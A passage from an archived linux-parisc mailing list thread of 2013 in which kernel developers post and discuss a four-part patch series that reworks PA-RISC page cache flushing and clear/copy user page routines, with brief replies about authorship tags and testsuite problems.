+	for (vma = mm->mmap; vma; vma = vma->vm_next)
+		usize += vma->vm_end - vma->vm_start;
+	return usize;
+}
+
+static inline pte_t *get_ptep(pgd_t *pgd, unsigned long addr)
+{
+	pte_t *ptep = NULL;
+
+	if (!pgd_none(*pgd)) {
+		pud_t *pud = pud_offset(pgd, addr);
+		if (!pud_none(*pud)) {
+			pmd_t *pmd = pmd_offset(pud, addr);
+			if (!pmd_none(*pmd))
+				ptep = pte_offset_map(pmd, addr);
+		}
+	}
+	return ptep;
+}
+
 void flush_cache_mm(struct mm_struct *mm)
 {
+	/* Flushing the whole cache on each cpu takes forever on
+	   rp3440, etc.  So, avoid it if the mm isn't too big.  */
+	if (mm_total_size(mm) < parisc_cache_flush_threshold) {
+		struct vm_area_struct *vma;
+
+		if (mm->context == mfsp(3)) {
+			for (vma = mm->mmap; vma; vma = vma->vm_next) {
+				flush_user_dcache_range_asm(vma->vm_start,
+					vma->vm_end);
+				if (vma->vm_flags & VM_EXEC)
+					flush_user_icache_range_asm(
+					  vma->vm_start, vma->vm_end);
+			}
+		} else {
+			pgd_t *pgd = mm->pgd;
+
+			for (vma = mm->mmap; vma; vma = vma->vm_next) {
+				unsigned long addr;
+
+				for (addr = vma->vm_start; addr < vma->vm_end;
+				     addr += PAGE_SIZE) {
+					pte_t *ptep = get_ptep(pgd, addr);
+					if (ptep != NULL) {
+						pte_t pte = *ptep;
+						__flush_cache_page(vma, addr,
+						  page_to_phys(pte_page(pte)));
+					}
+				}
+			}
+		}
+		return;
+	}
+
 #ifdef CONFIG_SMP
 	flush_cache_all();
 #else
@@ -503,20 +561,36 @@ flush_user_icache_range(unsigned long start, unsigned long end)
 		flush_instruction_cache();
 }
 
-
 void flush_cache_range(struct vm_area_struct *vma,
 		unsigned long start, unsigned long end)
 {
-	int sr3;
-
 	BUG_ON(!vma->vm_mm->context);
 
-	sr3 = mfsp(3);
-	if (vma->vm_mm->context == sr3) {
-		flush_user_dcache_range(start,end);
-		flush_user_icache_range(start,end);
+	if ((end - start) < parisc_cache_flush_threshold) {
+		if (vma->vm_mm->context == mfsp(3)) {
+			flush_user_dcache_range_asm(start, end);
+			if (vma->vm_flags & VM_EXEC)
+				flush_user_icache_range_asm(start, end);
+		} else {
+			unsigned long addr;
+			pgd_t *pgd = vma->vm_mm->pgd;
+
+			for (addr = start & PAGE_MASK; addr < end;
+			     addr += PAGE_SIZE) {
+				pte_t *ptep = get_ptep(pgd, addr);
+				if (ptep != NULL) {
+					pte_t pte = *ptep;
+					flush_cache_page(vma,
+					   addr, pte_pfn(pte));
+				}
+			}
+		}
 	} else {
+#ifdef CONFIG_SMP
 		flush_cache_all();
+#else
+		flush_cache_all_local();
+#endif
 	}
 }
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fixes and cleanups in page cache flushing (4/4)
Date: Mon, 4 Feb 2013 00:02:49 +0100
Lines: 89
Approved: news@gmane.org
Message-ID: <20130203230249.GD14573@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1359932573 27226 80.91.229.3 (3 Feb 2013 23:02:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 3 Feb 2013 23:02:53 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 04 00:03:13 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U28ae-00033P-Qy
	for glpp-linux-parisc@plane.gmane.org; Mon, 04 Feb 2013 00:03:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753841Ab3BCXCy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 3 Feb 2013 18:02:54 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:61522 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753827Ab3BCXCy (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 3 Feb 2013 18:02:54 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.28]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0MZRMh-1UGdCD2WK5-00LC9U for
 <linux-parisc@vger.kernel.org>; Mon, 04 Feb 2013 00:02:52 +0100
Original-Received: (qmail invoked by alias); 03 Feb 2013 23:02:52 -0000
Original-Received: from p54AD0959.dip0.t-ipconnect.de (EHLO p100.box) [84.173.9.89]
  by mail.gmx.net (mp028) with SMTP; 04 Feb 2013 00:02:52 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+AIKBBKwKAdPhdOJgqMTw2FySrx0+NW57cfI4npo
	IIoW0pzddl952a
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4788
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4788>

Author: John David Anglin <dave.anglin@bell.net>

CONFIG_PARISC_TMPALIAS enables clear_user_highpage and copy_user_highpage.
These are essentially alternative implementations of clear_user_page and
copy_user_page.  They don't have anything to do with x86 high pages, but they
build on the infrastructure to save a few instructions.  Read the comment in
clear_user_highpage as it is very important to the implementation.  For this
reason, there isn't any gain in using the TMPALIAS/highpage approach.

Signed-off-by: John David Anglin <dave.anglin@bell.net>
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index b89a85a..703ed48 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -529,3 +595,67 @@ flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long
 	__flush_cache_page(vma, vmaddr, page_to_phys(pfn_to_page(pfn)));
 
 }
+
+#ifdef CONFIG_PARISC_TMPALIAS
+
+void clear_user_highpage(struct page *page, unsigned long vaddr)
+{
+	void *vto;
+	unsigned long flags;
+
+	/* Clear using TMPALIAS region.  The page doesn't need to
+	   be flushed but the kernel mapping needs to be purged.  */
+
+	vto = kmap_atomic(page, KM_USER0);
+
+	/* The PA-RISC 2.0 Architecture book states on page F-6:
+	   "Before a write-capable translation is enabled, *all*
+	   non-equivalently-aliased translations must be removed
+	   from the page table and purged from the TLB.  (Note
+	   that the caches are not required to be flushed at this
+	   time.)  Before any non-equivalent aliased translation
+	   is re-enabled, the virtual address range for the writeable
+	   page (the entire page) must be flushed from the cache,
+	   and the write-capable translation removed from the page
+	   table and purged from the TLB."  */
+
+	purge_kernel_dcache_page_asm((unsigned long)vto);
+	purge_tlb_start(flags);
+	pdtlb_kernel(vto);
+	purge_tlb_end(flags);
+	preempt_disable();
+	clear_user_page_asm(vto, vaddr);
+	preempt_enable();
+
+	pagefault_enable();		/* kunmap_atomic(addr, KM_USER0); */
+}
+
+void copy_user_highpage(struct page *to, struct page *from,
+	unsigned long vaddr, struct vm_area_struct *vma)
+{
+	void *vfrom, *vto;
+	unsigned long flags;
+
+	/* Copy using TMPALIAS region.  This has the advantage
+	   that the `from' page doesn't need to be flushed.  However,
+	   the `to' page must be flushed in copy_user_page_asm since
+	   it can be used to bring in executable code.  */
+
+	vfrom = kmap_atomic(from, KM_USER0);
+	vto = kmap_atomic(to, KM_USER1);
+
+	purge_kernel_dcache_page_asm((unsigned long)vto);
+	purge_tlb_start(flags);
+	pdtlb_kernel(vto);
+	pdtlb_kernel(vfrom);
+	purge_tlb_end(flags);
+	preempt_disable();
+	copy_user_page_asm(vto, vfrom, vaddr);
+	flush_dcache_page_asm(__pa(vto), vaddr);
+	preempt_enable();
+
+	pagefault_enable();		/* kunmap_atomic(addr, KM_USER1); */
+	pagefault_enable();		/* kunmap_atomic(addr, KM_USER0); */
+}
+
+#endif /* CONFIG_PARISC_TMPALIAS */
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fixes and cleanups in page cache flushing (1/4)
Date: Mon, 04 Feb 2013 00:04:56 +0100
Lines: 170
Approved: news@gmane.org
Message-ID: <510EED18.404@gmx.de>
References: <20130203225909.GA14573@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1359932702 28214 80.91.229.3 (3 Feb 2013 23:05:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 3 Feb 2013 23:05:02 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 04 00:05:22 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U28cj-0005Ev-LU
	for glpp-linux-parisc@plane.gmane.org; Mon, 04 Feb 2013 00:05:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753832Ab3BCXFD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 3 Feb 2013 18:05:03 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:64260 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753858Ab3BCXFC (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 3 Feb 2013 18:05:02 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.2]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0MVXXN-1UTGPz3bbD-00Yyow for
 <linux-parisc@vger.kernel.org>; Mon, 04 Feb 2013 00:05:00 +0100
Original-Received: (qmail invoked by alias); 03 Feb 2013 23:05:00 -0000
Original-Received: from p54AD0959.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.9.89]
  by mail.gmx.net (mp002) with SMTP; 04 Feb 2013 00:05:00 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19eWxV0q1xesw/oWudJTzfetxvBJyq615uHUkdkPs
	iX8s/jmGIWMZo4
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130110 Thunderbird/17.0.2
In-Reply-To: <20130203225909.GA14573@p100.box>
X-Enigmail-Version: 1.5
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4789
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4789>

Need to mention here:

Author of this patch series is:
Author: John David Anglin <dave.anglin@bell.net>

When I sent the mail the "Author" tag vanished in the mail header...

Helge

On 02/03/2013 11:59 PM, Helge Deller wrote:
> This is the first patch in a series of 4, with which the page cache flushing of
> parisc will gets fixed and enhanced. This even fixes the nasty "minifail" bug
> (http://wiki.parisc-linux.org/TestCases?highlight=%28minifail%29) which
> prevented parisc to stay an official debian port.  Basically the flush in
> copy_user_page together with the TLB patch from commit
> 7139bc1579901b53db7e898789e916ee2fb52d78 is what fixes the minifail bug. 
> 
> This patch still uses the TMPALIAS approach.  The new copy_user_page
> implementation calls flush_dcache_page_asm to flush the user dcache page
> (crucial for minifail fix) via a kernel TMPALIAS mapping.  After that, it just
> copies the page using the kernel mapping.  It does a final flush if needed.
> Generally it is hard to avoid doing some cache flushes using the kernel mapping
> (e.g., copy_to_user_page and copy_from_user_page).
> 
> This patch depends on a subsequent change to pacache.S implementing
> clear_page_asm and copy_page_asm.  These are optimized routines to clear and
> copy a page.  The calls in clear_user_page and copy_user_page could be replaced
> by calls to memset and memcpy, respectively.  I tested prefetch optimizations
> in clear_page_asm and copy_page_asm but didn't see any significant performance
> improvement on rp3440.  I'm not sure if these are routines are significantly
> faster than memset and/or memcpy, but they are there for further performance
> evaluation. 
> 
> Signed-off-by: John David Anglin <dave.anglin@bell.net>
> Signed-off-by: Helge Deller <deller@gmx.de>
> 
> 
> diff --git a/arch/parisc/include/asm/page.h b/arch/parisc/include/asm/page.h
> index 4e0e7db..d9812d8 100644
> --- a/arch/parisc/include/asm/page.h
> +++ b/arch/parisc/include/asm/page.h
> @@ -21,15 +21,27 @@
>  #include <asm/types.h>
>  #include <asm/cache.h>
>  
> -#define clear_page(page)	memset((void *)(page), 0, PAGE_SIZE)
> -#define copy_page(to,from)      copy_user_page_asm((void *)(to), (void *)(from))
> +#define clear_page(page)	clear_page_asm((void *)(page))
> +#define copy_page(to, from)	copy_page_asm((void *)(to), (void *)(from))
>  
>  struct page;
>  
> -void copy_user_page_asm(void *to, void *from);
> +void clear_page_asm(void *page);
> +void copy_page_asm(void *to, void *from);
> +void clear_user_page(void *vto, unsigned long vaddr, struct page *pg);
>  void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
>  			   struct page *pg);
> -void clear_user_page(void *page, unsigned long vaddr, struct page *pg);
> +
> +/* #define CONFIG_PARISC_TMPALIAS */
> +
> +#ifdef CONFIG_PARISC_TMPALIAS
> +void clear_user_highpage(struct page *page, unsigned long vaddr);
> +#define clear_user_highpage clear_user_highpage
> +struct vm_area_struct;
> +void copy_user_highpage(struct page *to, struct page *from,
> +	unsigned long vaddr, struct vm_area_struct *vma);
> +#define __HAVE_ARCH_COPY_USER_HIGHPAGE
> +#endif
>  
>  /*
>   * These are used to make use of C type-checking..
> 
> diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
> index b89a85a..703ed48 100644
> --- a/arch/parisc/kernel/cache.c
> +++ b/arch/parisc/kernel/cache.c
> @@ -329,17 +331,6 @@ EXPORT_SYMBOL(flush_kernel_dcache_page_asm);
>  EXPORT_SYMBOL(flush_data_cache_local);
>  EXPORT_SYMBOL(flush_kernel_icache_range_asm);
>  
> -void clear_user_page_asm(void *page, unsigned long vaddr)
> -{
> -	unsigned long flags;
> -	/* This function is implemented in assembly in pacache.S */
> -	extern void __clear_user_page_asm(void *page, unsigned long vaddr);
> -
> -	purge_tlb_start(flags);
> -	__clear_user_page_asm(page, vaddr);
> -	purge_tlb_end(flags);
> -}
> -
>  #define FLUSH_THRESHOLD 0x80000 /* 0.5MB */
>  int parisc_cache_flush_threshold __read_mostly = FLUSH_THRESHOLD;
>  
> @@ -373,20 +364,9 @@ void __init parisc_setup_cache_timing(void)
>  	printk(KERN_INFO "Setting cache flush threshold to %x (%d CPUs online)\n", parisc_cache_flush_threshold, num_online_cpus());
>  }
>  
> -extern void purge_kernel_dcache_page(unsigned long);
> -extern void clear_user_page_asm(void *page, unsigned long vaddr);
> -
> -void clear_user_page(void *page, unsigned long vaddr, struct page *pg)
> -{
> -	unsigned long flags;
> -
> -	purge_kernel_dcache_page((unsigned long)page);
> -	purge_tlb_start(flags);
> -	pdtlb_kernel(page);
> -	purge_tlb_end(flags);
> -	clear_user_page_asm(page, vaddr);
> -}
> -EXPORT_SYMBOL(clear_user_page);
> +extern void purge_kernel_dcache_page_asm(unsigned long);
> +extern void clear_user_page_asm(void *, unsigned long);
> +extern void copy_user_page_asm(void *, void *, unsigned long);
>  
>  void flush_kernel_dcache_page_addr(void *addr)
>  {
> @@ -399,11 +379,26 @@ void flush_kernel_dcache_page_addr(void *addr)
>  }
>  EXPORT_SYMBOL(flush_kernel_dcache_page_addr);
>  
> +void clear_user_page(void *vto, unsigned long vaddr, struct page *page)
> +{
> +	clear_page_asm(vto);
> +	if (!parisc_requires_coherency())
> +		flush_kernel_dcache_page_asm(vto);
> +}
> +EXPORT_SYMBOL(clear_user_page);
> +
>  void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
> -		    struct page *pg)
> +	struct page *pg)
>  {
> -	/* no coherency needed (all in kmap/kunmap) */
> -	copy_user_page_asm(vto, vfrom);
> +	/* Copy using kernel mapping.  No coherency is needed
> +	   (all in kmap/kunmap) on machines that don't support
> +	   non-equivalent aliasing.  However, the `from' page
> +	   needs to be flushed before it can be accessed through
> +	   the kernel mapping. */
> +	preempt_disable();
> +	flush_dcache_page_asm(__pa(vfrom), vaddr);
> +	preempt_enable();
> +	copy_page_asm(vto, vfrom);
>  	if (!parisc_requires_coherency())
>  		flush_kernel_dcache_page_asm(vto);
>  }
> diff --git a/arch/parisc/kernel/parisc_ksyms.c b/arch/parisc/kernel/parisc_ksyms.c
> index ceec85d..6795dc6 100644
> --- a/arch/parisc/kernel/parisc_ksyms.c
> +++ b/arch/parisc/kernel/parisc_ksyms.c
> @@ -157,5 +157,6 @@ extern void _mcount(void);
>  EXPORT_SYMBOL(_mcount);
>  #endif
>  
> -/* from pacache.S -- needed for copy_page */
> -EXPORT_SYMBOL(copy_user_page_asm);
> +/* from pacache.S -- needed for clear/copy_page */
> +EXPORT_SYMBOL(clear_page_asm);
> +EXPORT_SYMBOL(copy_page_asm);
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Turner <mattst88@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fixes and cleanups in page cache flushing (1/4)
Date: Sun, 3 Feb 2013 22:42:41 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <CAEdQ38Ee_8v+G0wWmHN5UMqyy0JX_N=D2fMxQB=BZcnJxknmEg@mail.gmail.com>
References: <20130203225909.GA14573@p100.box> <510EED18.404@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1359960187 2653 80.91.229.3 (4 Feb 2013 06:43:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Feb 2013 06:43:07 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 04 07:43:25 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U2Fm0-0007UA-U2
	for glpp-linux-parisc@plane.gmane.org; Mon, 04 Feb 2013 07:43:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753784Ab3BDGnE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Feb 2013 01:43:04 -0500
Original-Received: from mail-gh0-f179.google.com ([209.85.160.179]:57714 "EHLO
	mail-gh0-f179.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753576Ab3BDGnC (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Feb 2013 01:43:02 -0500
Original-Received: by mail-gh0-f179.google.com with SMTP id r14so1449376ghr.10
        for <linux-parisc@vger.kernel.org>; Sun, 03 Feb 2013 22:43:01 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=x-received:mime-version:in-reply-to:references:from:date:message-id
         :subject:to:cc:content-type;
        bh=Mnd2NDuboK6eWTX/RuEYpe2xe+cMMLv7ZxAn6exSyOw=;
        b=r3b75JEakeT9XaFWFEOKfPnyyOAUkvamDfOXWymSP7FPN13N3HyL7Ctc0azMEx6is3
         uuD+TwP8fZEL97xEa9xhJheT4pwtLxhxeXuE6EhHbg1o/0zbRQyO1YU+1+XvoJFvYvij
         F2VswRoT/h0f+TnQ6sMXJt4GAReppTpLSH8wlpT5HGKpQJ4A/5K94AOZyogKca9clWjA
         sqxFzmunJpzzI1jTH0ckudYmbRXFkUFaJwvdjMGZerEhLqngNNBABhvpAYnkw98Mfpxy
         HnNrnv+9siekXaKlvXoCxXFpedpPPDIFyqh+N4AuPMBcFp8v08uQ+fMuTjQMh/knXB61
         jWUg==
X-Received: by 10.236.46.169 with SMTP id r29mr24896495yhb.14.1359960181577;
 Sun, 03 Feb 2013 22:43:01 -0800 (PST)
Original-Received: by 10.101.80.16 with HTTP; Sun, 3 Feb 2013 22:42:41 -0800 (PST)
In-Reply-To: <510EED18.404@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4790
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4790>

On Sun, Feb 3, 2013 at 3:04 PM, Helge Deller <deller@gmx.de> wrote:
> Need to mention here:
>
> Author of this patch series is:
> Author: John David Anglin <dave.anglin@bell.net>
>
> When I sent the mail the "Author" tag vanished in the mail header...
>
> Helge

Send with git send-email. It manages all of this for you.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fixes and cleanups in page cache flushing (1/4)
Date: Mon, 04 Feb 2013 09:35:14 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <777a626d6eff1b2a6194dcfa6a8ad313@sf-mail.de>
References: <20130203225909.GA14573@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
 format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1359966920 23133 80.91.229.3 (4 Feb 2013 08:35:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Feb 2013 08:35:20 +0000 (UTC)
Cc: <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 04 09:35:40 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U2HWb-0004Cs-L9
	for glpp-linux-parisc@plane.gmane.org; Mon, 04 Feb 2013 09:35:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753961Ab3BDIfS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Feb 2013 03:35:18 -0500
Original-Received: from mail.sf-mail.de ([62.27.20.61]:41540 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753874Ab3BDIfS (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Feb 2013 03:35:18 -0500
Original-Received: (qmail 30230 invoked from network); 4 Feb 2013 08:35:15 -0000
Original-Received: from mail.sf-mail.de ([::ffff:62.27.20.61]:50670 HELO webmail.sf-mail.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <deller@gmx.de>; Mon, 04 Feb 2013 09:35:15 +0100
In-Reply-To: <20130203225909.GA14573@p100.box>
X-Sender: eike-kernel@sf-tec.de
User-Agent: Roundcube Webmail/0.8.4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4791
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4791>

Helge Deller wrote:
> This is the first patch in a series of 4, with which the page cache 
> flushing of
> parisc will gets fixed and enhanced. This even fixes the nasty 
> "minifail" bug
> (http://wiki.parisc-linux.org/TestCases?highlight=%28minifail%29) 
> which
> prevented parisc to stay an official debian port.  Basically the 
> flush in
> copy_user_page together with the TLB patch from commit
> 7139bc1579901b53db7e898789e916ee2fb52d78 is what fixes the minifail 
> bug.

Is this series expected to fix the thread related problems I see in the 
git testsuite?

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Hogan <james.hogan@imgtec.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.hexagon,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH RESEND 1/1] arch Kconfig: remove references to IRQ_PER_CPU
Date: Mon, 4 Feb 2013 10:09:43 +0000
Lines: 129
Approved: news@gmane.org
Message-ID: <1359972583-17134-1-git-send-email-james.hogan@imgtec.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1359972620 8403 80.91.229.3 (4 Feb 2013 10:10:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Feb 2013 10:10:20 +0000 (UTC)
Cc: <uclinux-dist-devel@blackfin.uclinux.org>,
	<linux-hexagon@vger.kernel.org>, <linux-ia64@vger.kernel.org>,
	<linux-mips@linux-mips.org>, <linux-parisc@vger.kernel.org>,
	<linuxppc-dev@lists.ozlabs.org>, <linux-sh@vger.kernel.org>,
	<linux-arch@vger.kernel.org>, James Hogan <james.hogan@imgtec.com>,
	"Thomas Gleixner" <tglx@linutronix.de>,
	Mike Frysinger <vapier@gentoo.org>,
	Fenghua Yu <fenghua.yu@intel.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	"Benjamin Herrenschmidt" <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Paul Mundt <lethal@linux-sh.org>
To: <linux-kernel@vger.kernel.org>
Original-X-From: linux-ia64-owner@vger.kernel.org Mon Feb 04 11:10:35 2013
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1U2J0Q-0006tb-Fh
	for glpi-linux-ia64-2@plane.gmane.org; Mon, 04 Feb 2013 11:10:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753207Ab3BDKKL (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Mon, 4 Feb 2013 05:10:11 -0500
Original-Received: from multi.imgtec.com ([194.200.65.239]:57578 "EHLO multi.imgtec.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753114Ab3BDKKK (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
	Mon, 4 Feb 2013 05:10:10 -0500
X-Mailer: git-send-email 1.7.7.6
X-SEF-Processed: 7_3_0_01181__2013_02_04_10_10_00
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
